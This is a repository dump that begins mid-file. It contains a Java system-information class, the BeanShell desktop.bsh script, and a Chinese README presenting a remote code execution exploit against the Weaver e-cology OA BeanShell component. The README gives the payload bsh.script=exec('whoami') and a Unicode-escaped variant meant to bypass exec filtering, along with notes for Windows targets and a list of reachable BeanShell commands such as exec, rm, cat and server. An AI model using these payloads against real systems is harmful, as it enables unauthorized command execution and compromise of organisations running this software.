| e.printStackTrace(); 39 | } 40 | } 41 | System.out.println(sb); 42 | return address; 43 | } 44 | 45 | public static void getIpconfig() { 46 | Map map = System.getenv(); 47 | System.out.println(map.get("USERNAME"));//获取用户名 48 | System.out.println(map.get("COMPUTERNAME"));//获取计算机名 49 | System.out.println(map.get("USERDOMAIN"));//获取计算机域名 50 | } 51 | 52 | //得到计算机的ip地址和mac地址 53 | public static void getConfig() { 54 | try { 55 | InetAddress address = InetAddress.getLocalHost(); 56 | NetworkInterface ni = NetworkInterface.getByInetAddress(address); 57 | //ni.getInetAddresses().nextElement().getAddress(); 58 | byte[] mac = ni.getHardwareAddress(); 59 | String sIP = address.getHostAddress(); 60 | String sMAC = ""; 61 | Formatter formatter = new Formatter(); 62 | for (int i = 0; i < mac.length; i++) { 63 | sMAC = formatter.format(Locale.getDefault(), "%02X%s", mac[i], 64 | (i < mac.length - 1) ? "-" : "").toString(); 65 | } 66 | System.out.println("IP:" + sIP); 67 | System.out.println("MAC:" + sMAC); 68 | } catch (Exception e) { 69 | e.printStackTrace(); 70 | } 71 | } 72 | 73 | //得到计算机的ip,名称,操作系统名称,操作系统版本 74 | public static void Config() { 75 | try { 76 | InetAddress addr = InetAddress.getLocalHost(); 77 | String ip = addr.getHostAddress().toString(); //获取本机ip 78 | String hostName = addr.getHostName().toString(); //获取本机计算机名称 79 | System.out.println("本机IP:" + ip + "\n本机名称:" + hostName); 80 | Properties props = System.getProperties(); 81 | System.out.println("操作系统的名称:" + props.getProperty("os.name")); 82 | System.out.println("操作系统的版本:" + props.getProperty("os.version")); 83 | } catch (Exception e) { 84 | e.printStackTrace(); 85 | } 86 | } 87 | 88 | //其它的一些东西,会有用到的时候的 89 | public static void all() { 90 | Properties props = System.getProperties(); 91 | System.out.println("Java的运行环境版本:" + props.getProperty("java.version")); 92 | System.out.println("Java的运行环境供应商:" + props.getProperty("java.vendor")); 93 | System.out.println("Java供应商的URL:" + props.getProperty("java.vendor.url")); 94 | System.out.println("Java的安装路径:" + props.getProperty("java.home")); 95 | System.out.println("Java的虚拟机规范版本:" + props.getProperty("java.vm.specification.version")); 96 | System.out.println("Java的虚拟机规范供应商:" + props.getProperty("java.vm.specification.vendor")); 97 | System.out.println("Java的虚拟机规范名称:" + props.getProperty("java.vm.specification.name")); 98 | System.out.println("Java的虚拟机实现版本:" + props.getProperty("java.vm.version")); 99 | System.out.println("Java的虚拟机实现供应商:" + props.getProperty("java.vm.vendor")); 100 | System.out.println("Java的虚拟机实现名称:" + props.getProperty("java.vm.name")); 101 | System.out.println("Java运行时环境规范版本:" + props.getProperty("java.specification.version")); 102 | System.out.println("Java运行时环境规范供应商:" + props.getProperty("java.specification.vender")); 103 | System.out.println("Java运行时环境规范名称:" + props.getProperty("java.specification.name")); 104 | System.out.println("Java的类格式版本号:" + props.getProperty("java.class.version")); 105 | System.out.println("Java的类路径:" + props.getProperty("java.class.path")); 106 | System.out.println("加载库时搜索的路径列表:" + props.getProperty("java.library.path")); 107 | System.out.println("默认的临时文件路径:" + props.getProperty("java.io.tmpdir")); 108 | System.out.println("一个或多个扩展目录的路径:" + props.getProperty("java.ext.dirs")); 109 | System.out.println("操作系统的名称:" + props.getProperty("os.name")); 110 | System.out.println("操作系统的构架:" + props.getProperty("os.arch")); 111 | System.out.println("操作系统的版本:" + props.getProperty("os.version")); 112 | System.out.println("文件分隔符:" + props.getProperty("file.separator")); 113 | //在 unix 系统中是"/" 114 | System.out.println("路径分隔符:" + props.getProperty("path.separator")); 115 | //在 unix 系统中是":" 116 | System.out.println("行分隔符:" + props.getProperty("line.separator")); 117 | //在 unix 系统中是"/n" 118 | System.out.println("用户的账户名称:" + props.getProperty("user.name")); 119 | System.out.println("用户的主目录:" + props.getProperty("user.home")); 120 | System.out.println("用户的当前工作目录:" + props.getProperty("user.dir")); 121 | } 122 | 123 | public static void main(String[] args) { 124 | getConfig(); 125 | Config(); 126 | all(); 127 | } 128 | } -------------------------------------------------------------------------------- /commands/desktop.bsh: -------------------------------------------------------------------------------- 1 | /** 2 | * Start the BeanShell GUI desktop in a JFrame. A starter workspace is created 3 | * and added to the desktop. 4 | * 5 | * @method void desktop() 6 | * 7 | * @author Pat Niemeyer 8 | * @author Daniel Leuck 9 | */ 10 | 11 | import javax.swing.*; 12 | import javax.swing.border.*; 13 | import bsh.util.JConsole; 14 | import bsh.util.Util; 15 | import bsh.Interpreter; 16 | import java.awt.Component; 17 | import bsh.Capabilities; 18 | 19 | desktop() 20 | { 21 | 22 | // need a way to set things to void again 23 | if ( bsh.system.desktop != void ) { 24 | print("There is already a desktop running..."); 25 | return; 26 | } else 27 | bsh.system.desktop = this; // race condition (hah!) 28 | 29 | bsh.system.icons=object(); 30 | 31 | bsh.system.icons.bean= 32 | new ImageIcon(getResource("/bsh/util/lib/icon.gif")); 33 | bsh.system.icons.workspace= 34 | new ImageIcon(getResource("/bsh/util/lib/workspace.gif")); 35 | bsh.system.icons.script= 36 | new ImageIcon(getResource("/bsh/util/lib/script.gif")); 37 | bsh.system.icons.eye= 38 | new ImageIcon(getResource("/bsh/util/lib/eye.jpg")); 39 | 40 | // Disallowed by applet security 41 | try { 42 | bsh.system.fonts = GraphicsEnvironment.getLocalGraphicsEnvironment(). 43 | getAvailableFontFamilyNames(); 44 | } catch ( SecurityException se ) { } 45 | 46 | JPanel stage=new JPanel(new BorderLayout()); 47 | JPanel taskBar=new JPanel(new FlowLayout(FlowLayout.LEFT, 1, 1)); 48 | 49 | // For some insane reason, access to the JPanel background color object 50 | // is protected on the Mac 51 | borderColor = taskBar.background; 52 | try { 53 | borderColor = taskBar.background.darker(); 54 | } catch ( SecurityException e ) { } 55 | taskBar.setBorder( new MatteBorder(1,0,0,0, borderColor) ); 56 | 57 | ButtonGroup taskBarButtonGroup = new ButtonGroup(); 58 | 59 | // Ignore unhandled method invocations from listeners. 60 | invoke( method, args ) { } 61 | 62 | makeInternalFrame( String name ) 63 | { 64 | // Closable by default 65 | this.frame = new JInternalFrame( name, true, true, true, true ); 66 | frame.frameIcon=bsh.system.icons.bean; 67 | frame.visible=true; 68 | return frame; 69 | } 70 | 71 | this.frameMap=new Hashtable(); 72 | taskBarButtonListener() { 73 | actionPerformed(ae) { 74 | this.iframe=frameMap.get(ae.source); 75 | if(iframe.icon) 76 | iframe.icon=false; 77 | if(iframe!=null && !iframe.selected) 78 | iframe.selected=true; 79 | } 80 | 81 | return this; 82 | } 83 | this.taskBarButtonListener=taskBarButtonListener(); 84 | 85 | addInternalFrame( frame ) 86 | { 87 | iframeListener=new InternalFrameListener() { 88 | 89 | internalFrameClosing(ife) { 90 | for(e:new Hashtable(frameMap).entrySet()) { 91 | if(e.value.equals(ife.source)) { 92 | taskBar.remove(e.key); 93 | taskBarButtonGroup.remove(e.key); 94 | frameMap.remove(e.key); 95 | taskBar.validate(); 96 | taskBar.repaint(); 97 | } 98 | } 99 | } 100 | 101 | internalFrameActivated(ife) { 102 | for(e:frameMap.entrySet()) if(e.value.equals(ife.source)) { 103 | if(!e.key.selected) e.key.selected=true; 104 | } 105 | } 106 | 107 | internalFrameDeactivated(ife) {} 108 | internalFrameClosed(ife) {} 109 | internalFrameOpened(ife) {} 110 | internalFrameIconified(ife) {} 111 | internalFrameDeiconified(ife) {} 112 | }; 113 | 114 | bsh.system.desktop.pane.add( frame ); 115 | frame.addInternalFrameListener(iframeListener); 116 | JToggleButton button = new JToggleButton(frame.title, frame.frameIcon); 117 | taskBarButtonGroup.add(button); 118 | 119 | // For some insane rason access to some of the color objects is 120 | // protected on the Mac 121 | try { 122 | button.border= 123 | new CompoundBorder((Border)thinBorder(), new EmptyBorder(2,2,2,3)); 124 | } catch ( SecurityException e ) { } 125 | 126 | button.addActionListener(taskBarButtonListener); 127 | taskBar.add(button); 128 | taskBar.validate(); 129 | 130 | frameMap.put(button,frame); 131 | } 132 | 133 | this.windowCount=0; 134 | 135 | mousePressed( e ) { 136 | popup.show( pane, e.getX(), e.getY() ); 137 | } 138 | 139 | shutdown() { 140 | /* 141 | ret = JOptionPane.showInternalConfirmDialog( pane, 142 | "This workspace has not been saved. Do you really want to exit?" ); 143 | if ( ret == JOptionPane.YES_OPTION ) 144 | exit(); 145 | */ 146 | frame.dispose(); 147 | exit(); 148 | } 149 | 150 | actionPerformed( e ) 151 | { 152 | this.com = e.getActionCommand(); 153 | if ( com.equals("New Bsh Workspace") ) 154 | makeWorkspace( ""+ super.windowCount++); 155 | if ( com.equals("New Class Browser") ) 156 | classBrowser(); 157 | else if ( com.equals("Save Workspace") ) 158 | JOptionPane.showInternalMessageDialog( pane, "Unimplemented" ); 159 | else if ( com.equals("Exit") ) 160 | shutdown(); 161 | } 162 | 163 | this.pane=new JDesktopPane(); 164 | 165 | this.popup=new JPopupMenu("Root Menu"); 166 | this.mi=new JMenuItem("New Bsh Workspace"); 167 | mi.addActionListener(this); 168 | popup.add( mi ); 169 | mi=new JMenuItem("New Class Browser"); 170 | mi.addActionListener(this); 171 | popup.add( mi ); 172 | mi=new JMenuItem("Save Workspace"); 173 | mi.addActionListener(this); 174 | popup.add( mi ); 175 | mi=new JMenuItem("Exit"); 176 | mi.addActionListener(this); 177 | popup.add( mi ); 178 | 179 | pane.addMouseListener( this ); 180 | 181 | this.frame=new JFrame("BeanShell Desktop 1.1"); 182 | 183 | stage.add(pane); 184 | stage.add(taskBar, BorderLayout.SOUTH); 185 | 186 | frame.getContentPane().add(stage); 187 | 188 | windowClosing( e ) { 189 | bsh.system.desktop = null; 190 | shutdown(); 191 | } 192 | 193 | frame.iconImage=bsh.system.icons.bean.image; 194 | frame.addWindowListener( this ); 195 | 196 | /* 197 | If available, add a listener for classpath mapping 198 | I'm planning to implement a GUI progress indicator here 199 | 200 | if ( Capabilities.canGenerateInterfaces() ) 201 | { 202 | import bsh.classpath.BshClassPath; 203 | classFeedbackListener = new BshClassPath.MappingFeedback() 204 | { 205 | startClassMapping() { } 206 | classMapping( msg ) { } 207 | errorWhileMapping( msg ) { } 208 | endClassMapping() { } 209 | }; 210 | BshClassPath.addMappingFeedback( classFeedbackListener ); 211 | } 212 | */ 213 | 214 | // start one terminal 215 | workSpace=makeWorkspace( ""+windowCount++ ); 216 | 217 | frame.setSize(800,600); 218 | frame.show(); 219 | 220 | Util.endSplashScreen(); 221 | 222 | frame.toFront(); 223 | workSpace.frame.selected=true; 224 | } 225 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # 泛微e-cology OA Beanshell组件远程代码执行 2 | 3 | ![](./set.jpg) 4 | ## Windows 5 | ![](./whoami.jpg) 6 | ## Linux 7 | ![](./linux.jpg) 8 | ![](./linux2.png) 9 | 10 | ## Ps 11 | ``` 12 | 检测目标系统os.name(因为目标系统是windows的话,执行set等命令,需要手动敲cmd.exe /c set) 13 | 使用Unicode绕过exec过滤,部分站点 14 | ``` 15 | ## Payload 16 | ``` 17 | bsh.script=exec('whoami'); 18 | 19 | >>>>unicode bypass 20 | 21 | bsh.script=\u0065\u0078\u0065\u0063("whoami"); 22 | 23 | ``` 24 | 25 | ## Useful BeanShell Commands 26 | 27 | ``` 28 | In the previous example we used a convenient "built-in" BeanShell command called print(), to display values. 29 | 30 | print() does pretty much the same thing as System.out.println() except that it insures that the output always goes to the command line. print() also displays some types of objects (such as arrays) more verbosely than Java would. 31 | 32 | Another related command is show(), which toggles on and off automatic display of the result of every line you type. 33 | ``` 34 | #### Here are a few other examples of BeanShell commands: 35 | ``` 36 | source(), run() - Read a bsh script into this interpreter, or run it in a new interpreter 37 | frame() - Display a GUI component in a Frame or JFrame. 38 | load(), save() - Load or save serializable objects to a file. 39 | cd(), cat(), dir(), pwd(), etc. - Unix-like shell commands 40 | exec() - Run a native application 41 | javap() - Print the methods and fields of an object, similar to the output of the Java javap command. 42 | setAccessibility() - Turn on unrestricted access to private and protected components. 43 | ``` 44 | ![](./cat.png) 45 | 46 | ## bsh-2.0b4.jar command 47 | `/Users/ale/Desktop/bsh/weaver/WEB-INF/lib/bsh/commands` 48 | 49 | ``` 50 | .//object.bsh 51 | .//rm.bsh 52 | .//run.bsh 53 | .//print.bsh 54 | .//pwd.bsh 55 | .//error.bsh 56 | .//cat.bsh 57 | .//setClassPath.bsh 58 | .//setAccessibility.bsh 59 | .//exec.bsh 60 | .//setFont.bsh 61 | .//dirname.bsh 62 | .//exit.bsh 63 | .//source.bsh 64 | .//frame.bsh 65 | .//cp.bsh 66 | .//printBanner.bsh 67 | .//browseClass.bsh 68 | .//cd.bsh 69 | .//which.bsh 70 | .//setNameSpace.bsh 71 | .//workspaceEditor.bsh 72 | .//thinBorder.bsh 73 | .//bind.bsh 74 | .//bg.bsh 75 | .//save.bsh 76 | .//fontMenu.bsh 77 | .//getSourceFileInfo.bsh 78 | .//classBrowser.bsh 79 | .//load.bsh 80 | .//javap.bsh 81 | .//addClassPath.bsh 82 | .//server.bsh 83 | .//desktop.bsh 84 | .//importCommands.bsh 85 | .//mv.bsh 86 | .//setStrictJava.bsh 87 | .//eval.bsh 88 | .//dir.class 89 | .//getBshPrompt.bsh 90 | .//unset.bsh 91 | .//show.bsh 92 | .//getResource.bsh 93 | .//reloadClasses.bsh 94 | .//clear.bsh 95 | .//getClass.bsh 96 | .//makeWorkspace.bsh 97 | .//importObject.bsh 98 | .//sourceRelative.bsh 99 | .//getClassPath.bsh 100 | .//pathToFile.bsh 101 | .//setNameCompletion.bsh 102 | .//editor.bsh 103 | .//extend.bsh 104 | .//debug.bsh 105 | ``` 106 | 107 | ## for Example : eval.bsh 108 | 109 | ``` 110 | a=5; 111 | eval("b=a*2"); 112 | print(b); 113 | 114 | >>> 115 | 10 116 | ``` 117 | ![](./eval.png) 118 | 119 | 120 | ## exec.bsh 121 | ``` 122 | cat exec.bsh 123 | 124 | /** 125 | Start an external application using the Java Runtime exec() method. 126 | Display any output to the standard BeanShell output using print(). 127 | */ 128 | 129 | bsh.help.exec = "usage: exec( String arg )"; 130 | 131 | exec( String arg ) 132 | { 133 | this.proc = Runtime.getRuntime().exec(arg); 134 | this.din = new DataInputStream( proc.getInputStream() ); 135 | while( (line=din.readLine()) != null ) 136 | print(line); 137 | ``` 138 | ![](exec.png) 139 | 140 | ``` 141 | 1. exec("whoami") 142 | 143 | 2. this.proc = Runtime.getRuntime().exec("whoami"); 144 | this.din = new DataInputStream( proc.getInputStream() ); 145 | while( (line=din.readLine()) != null ) 146 | print(line); 147 | 148 | ``` 149 | ## 总结 150 | ``` 151 | ./commands/object.bsh 152 | >>> bsh.help.object = "usage: object()"; 153 | 154 | ./commands/rm.bsh 155 | >>> bsh.help.rm = "usage: cd( path )"; 156 | 157 | ./commands/run.bsh 158 | >>> bsh.help.run= "usage: Thread run( filename )"; 159 | 160 | ./commands/run.bsh 161 | >>> 42: this.bsh.help=extend(bsh.help); 162 | 163 | ./commands/print.bsh 164 | >>> bsh.help.print = "usage: print( value )"; 165 | 166 | ./commands/cat.bsh 167 | >>> bsh.help.cat = "usage: cat( filename )"; 168 | 169 | ./commands/setClassPath.bsh 170 | >>> bsh.help.setClassPath= "usage: setClassPath( URL [] )"; 171 | 172 | ./commands/exec.bsh 173 | >>> bsh.help.exec = "usage: exec( String arg )"; 174 | 175 | ./commands/setFont.bsh 176 | >>> bsh.help.setFont = "usage: setFont( Component comp, int size )"; 177 | 178 | ./commands/dirname.bsh 179 | >>> bsh.help.cd = "usage: dirname( path )"; 180 | 181 | ./commands/exit.bsh 182 | >>> bsh.help.exit = "usage: exit()"; 183 | 184 | ./commands/source.bsh 185 | >>> bsh.help.source = "usage: source( filename | URL )"; 186 | 187 | ./commands/frame.bsh 188 | >>> bsh.help.frame = "usage: frame( Component component )"; 189 | 190 | ./commands/cp.bsh 191 | >>> bsh.help.cp = "usage: cp( fromFile, toFile )"; 192 | 193 | ./commands/cd.bsh 194 | >>> bsh.help.cd = "usage: cd( path )"; 195 | 196 | ./commands/which.bsh 197 | >>> bsh.help.which= "usage: which( classIdentifier | string | class )"; 198 | 199 | ./commands/setNameSpace.bsh 200 | >>> bsh.help.setNameSpace = 201 | 202 | ./commands/bg.bsh 203 | >>> bsh.help.run= "usage: Thread bg( filename )"; 204 | 205 | ./commands/save.bsh 206 | >>> bsh.help.save = "usage: save( object, filename )"; 207 | 208 | ./commands/getSourceFileInfo.bsh 209 | >>> bsh.help.getSourceFileInfo = "usage: getSourceFileInfo()"; 210 | 211 | ./commands/load.bsh 212 | >>> bsh.help.load = "usage: load(filename)"; 213 | 214 | ./commands/javap.bsh 215 | >>> bsh.help.javap= "usage: javap( value )"; 216 | 217 | ./commands/addClassPath.bsh 218 | >>> bsh.help.addClassPath= "usage: addClassPath( string | URL )"; 219 | 220 | ./commands/server.bsh 221 | >>> bsh.help.server = "usage: server(int port)"; 222 | 223 | ./commands/importCommands.bsh 224 | >>> bsh.help.importCommands = "usage: importCommands( string )"; 225 | 226 | ./commands/mv.bsh 227 | >>> bsh.help.mv = "usage: mv( fromFile, toFile )"; 228 | 229 | ./commands/eval.bsh 230 | >>> bsh.help.eval = "usage: eval( String expression )"; 231 | 232 | ./commands/unset.bsh 233 | >>> bsh.help.unset = "usage: unset( name )"; 234 | 235 | ./commands/show.bsh 236 | >>> bsh.help.show = "usage: show()"; 237 | 238 | ./commands/getResource.bsh 239 | >>> bsh.help.getResource = "usage: getResource( String name )"; 240 | 241 | ./commands/reloadClasses.bsh 242 | >>> bsh.help.reloadClasses= 243 | 244 | ./commands/getClass.bsh 245 | >>> bsh.help.getClass= "usage: getClass( String name )"; 246 | 247 | ./commands/importObject.bsh 248 | >>> bsh.help.importObject = "usage: importObject( Object )"; 249 | 250 | ./commands/getClassPath.bsh 251 | >>> bsh.help.getClassPath= "usage: getClassPath()"; 252 | 253 | ./commands/pathToFile.bsh 254 | >>> bsh.help.pathToFile = "usage: File pathToFile( String )"; 255 | 256 | ./commands/setNameCompletion.bsh 257 | >>> bsh.help.setNameCompletion= "usage: setNameCompletion( boolean )"; 258 | 259 | ./commands/editor.bsh 260 | >>> bsh.help.editor = "usage: editor()"; 261 | 262 | ./commands/extend.bsh 263 | >>> bsh.help.extend= "usage: extend( This parent )"; 264 | 265 | ./commands/debug.bsh 266 | >>> bsh.help.debug = "usage: debug()"; 267 | 268 | ``` 269 | ## 参考链接: 270 | 271 | http://www.beanshell.org/manual/bshmanual.html#Executable_scripts_under_Unix 272 | 273 | https://mp.weixin.qq.com/s/Hr6fSOaPcTp2YaD-fPMxyg 274 | 275 | 276 | 277 | --------------------------------------------------------------------------------